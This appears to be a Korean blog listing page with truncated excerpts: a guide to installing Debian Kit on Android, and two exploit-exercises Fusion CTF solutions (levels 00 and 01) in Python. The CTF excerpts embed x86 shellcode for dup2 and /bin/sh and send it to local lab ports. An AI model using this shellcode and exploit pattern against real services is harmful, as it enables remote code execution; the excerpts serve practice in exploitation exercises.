Android에 debian kit 설치하기 우선 sshd를 설치해서 ssh 접속을 한다. (sshdroid를 설치 했음. / 아니면 connectbot 등을 통해서 로컬접속도 가능할듯) # wget http://sven-ola.dyndns.org/repo/attic/debian-kit-1-4.shar# sh ./debian-kit-1-4.shar ...... : 0s(만약 여기서 끊긴다면, # /data/local/deb/autorun )...... : yes # deb# apt-get update# apt-get upgrade# apt-get install andromize# exit# deb u 빼먹은게 없다면, 이게 맞을듯. http://sven-ola.dyndns.org/repo/debian-kit-en.html 더보기 [exploit-exercises] Fusion level 01 from struct import * from socket import * import time fd=4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd)) # bin/sh shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\ "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" s = socket(AF_INET, SOCK_STREAM) s.connect(('localhost',20001)) #raw_input(".. 더보기 [exploit-exercises] Fusion level 00 from struct import * from socket import * import time fd=4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd)) # bin/sh shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\ "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" s = socket(AF_INET, SOCK_STREAM) s.connect(('localhost',20000)) print s.recv.. 더보기 이전 1 ··· 13 14 15 16 17 18 19 ··· 27 다음